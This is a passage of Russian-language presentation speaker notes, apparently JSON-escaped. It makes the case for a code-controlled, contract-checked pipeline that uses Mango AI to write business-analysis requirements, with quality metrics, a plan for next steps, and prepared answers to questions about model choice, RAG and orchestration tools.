\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed \u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 